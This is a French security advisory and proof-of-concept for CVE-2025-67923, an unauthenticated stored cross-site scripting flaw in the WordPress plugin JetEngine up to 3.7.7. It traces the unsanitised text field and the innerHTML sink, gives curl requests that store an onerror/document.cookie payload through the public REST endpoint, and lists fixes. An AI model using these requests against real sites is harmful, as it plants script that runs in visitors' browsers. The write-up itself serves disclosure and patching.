
JetEngine <= 3.7.7 — Cross-Site Scripting stocké non authentifié via CCT REST API
Date: 11 mars 2026 Score CVSS: 7.1 (Élevé) Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plugin affecté: JetEngine <= 3.7.7 Slug du plugin: jet-engine Corrigé dans: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Chercheur: Bonds (via Patchstack) Signalé: 19 octobre 2025 Divulgué: janvier 2026 Version de WordPress testée: Dernière
CVE-2025-67923 est une vulnérabilité de Cross-Site Scripting stocké non authentifié dans le plugin WordPress JetEngine affectant toutes les versions jusqu'à 3.7.7 incluse. Un attaquant non authentifié peut écrire du HTML/JavaScript arbitraire dans un champ texte d'un type de contenu personnalisé (CCT) via l'API REST publique, qui est ensuite injecté non désinfecté dans le DOM via un sink JavaScript innerHTML dans le widget Maps Listing lorsqu'une victime visite une page contenant ce widget.
L'attaque ne nécessite ni authentification ni privilèges. Elle exige uniquement que :
public.✅ VULNÉRABILITÉ CONFIRMÉE — Charge utile XSS stockée écrite et exécutée
Impact confirmé :
La vulnérabilité est une combinaison de deux faiblesses indépendantes :
Absence de désinfection des entrées (stockage) : La méthode sanitize_field_value() du gestionnaire d'éléments CCT n'a aucun chemin de désinfection pour les champs de type text. Le cas default: ne fait que convertir les horodatages — le HTML brut passe et est persisté en base de données.
Sink XSS basé sur le DOM (rendu) : Le widget Maps Listing lit la valeur de champ stockée via get_marker_label(), l'enveloppe dans htmlspecialchars(json_encode(...)) pour l'attribut HTML data-markers, et le JavaScript frontal lit l'attribut avec getAttribute() (qui décode les entités HTML), puis insère markerData.label directement via innerHTML — exécutant tout HTML/JavaScript intégré.
Le contrôleur REST public des CCT vérifie les permissions via check_user_permissions() :
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // No authentication required
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
Lorsqu'un CCT est configuré avec rest_put_access = 'public' (une configuration prise en charge et documentée pour les formulaires publics), le point de terminaison est entièrement non authentifié. N'importe quel client HTTP peut envoyer une requête POST à /wp-json/jet-cct/{slug}.
Le gestionnaire REST appelle $handler->update_item($params), qui atteint sanitize_field_value() :
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanitizes sub-fields
// ...
case 'checkbox': // handles boolean arrays
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanitizes media JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanitized
break;
default:
// TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
Un champ de type text atteint la branche default:. maybe_to_timestamp() renvoie la valeur inchangée pour les chaînes non datées. La charge utile XSS `` est stockée telle quelle.
Lorsque le widget Maps Listing effectue le rendu, get_marker_label() lit le champ :
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// No esc_html() here — raw value returned
}
break;
}
return $result; // Returns ""
}
La valeur renvoyée est placée dans le tableau de données des marqueurs :
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // raw XSS payload
// ...
);
Le tableau des marqueurs est encodé pour un attribut HTML :
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode sérialise `` comme la chaîne "". htmlspecialchars encode ensuite en HTML l'intégralité du JSON, produisant :
[{...,"label":"<img src=x onerror=alert(1)>",...}]
Ceci est écrit dans l'attribut HTML data-markers. L'encodage ne protège que la limite de l'attribut. Lorsque JavaScript lit l'attribut, le navigateur décode les entités HTML, restaurant les caractères d'origine :
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
Dans frontend-maps.js, la chaîne d'étiquette brute est insérée directement dans une chaîne de contenu HTML :
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
Cette chaîne de contenu est ensuite définie comme innerHTML de l'élément marqueur :
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS FIRES
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS FIRES
Chaque visiteur qui charge une page contenant le widget Maps Listing déclenche la charge utile.
maps-listings et custom-content-types de JetEngine sont activés.locations (slug : locations) existe avec :
rest_put_enabled = truerest_put_access = 'public'text nommé labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
Réponse:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
Réponse:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
La balise `` est stockée telle quelle — aucune désinfection n'a eu lieu.
Tout visiteur, authentifié ou non, qui charge une page contenant le widget Maps Listing exécutera la charge utile. L'attribut HTML rendu contient :
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
JavaScript lit data-markers, décode les entités HTML, analyse le JSON et l'insère dans le DOM :
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)
Attacker WordPress REST API Victim Browser
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() FIRES
text exemptés de désinfectionsanitize_field_value() gère explicitement wysiwyg avec une désinfection basée sur wp_kses, mais place tous les autres types de chaînes dans une branche default: qui n'effectue aucun échappement HTML. L'hypothèse selon laquelle les champs text sont du texte brut est violée lorsque ces valeurs sont ensuite rendues comme HTML via le chemin innerHTML du widget Maps.
htmlspecialchars(json_encode($result)) est appliqué pour protéger la limite de l'attribut HTML. C'est correct et nécessaire — mais cela ne suffit pas à empêcher l'XSS lorsque la valeur est ensuite relue via JavaScript et insérée dans le DOM via innerHTML. L'encodage est réversible par le navigateur. La correction appropriée consiste à appliquer esc_html() (ou htmlspecialchars) à la valeur individuelle label avant l'encodage JSON, afin que la charge utile soit stockée dans le JSON comme texte encodé en entités. Lorsque JavaScript l'insère via innerHTML, le navigateur rend <img> comme texte, et non comme une balise HTML.
Alternativement, remplacez innerHTML par textContent dans le JavaScript pour le champ d'étiquette.
Le chemin d'écriture de l'API REST (update_item) ne traite pas toutes les valeurs stockées comme des sinks HTML potentiels. La politique de désinfection n'est définie que par type de champ, les champs text étant silencieusement exemptés alors qu'ils sont rendus comme HTML côté front via le widget Maps.
| Date | Événement |
|---|---|
| 19 octobre 2025 | Vulnérabilité signalée par le chercheur « Bonds » via Patchstack |
| janvier 2026 | Divulgation publique |
| janvier 2026 | JetEngine 3.7.8 publiée avec le correctif |
| 11 mars 2026 | Reproduit indépendamment avec un PoC complet |
| Fichier | Problème |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | create_item_permissions_check renvoie true lorsque le CCT a rest_put_access = 'public' — aucune authentification requise |
includes/modules/custom-content-types/inc/item-handler.php:489 | Branche default: de sanitize_field_value() — aucune désinfection HTML pour les champs de type text |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() renvoie la valeur meta brute sans esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — protège uniquement la limite de l'attribut, pas l'injection innerHTML |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — étiquette brute insérée dans la chaîne HTML |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — sink d'exécution XSS |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — sink d'exécution XSS |
| Correctif | Fichier | Description |
|---|
| Désinfecter les champs texte à l'enregistrement | item-handler.php:sanitize_field_value() | Ajoutez $value = wp_kses($value, []) ou sanitize_text_field($value) dans la branche default: |
| Échapper l'étiquette au moment du rendu | render.php:get_marker_label() | Appliquez esc_html($result) avant de renvoyer la valeur de l'étiquette |
Utiliser textContent au lieu de innerHTML pour les étiquettes | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | Remplacez el.innerHTML = data.content par une construction DOM sûre lorsque le contenu est uniquement du texte d'étiquette |
| Restreindre l'accès en écriture REST par défaut | Paramètres du plugin | Modifiez la valeur par défaut de rest_put_access en manage_options plutôt que public ; exigez une adhésion explicite |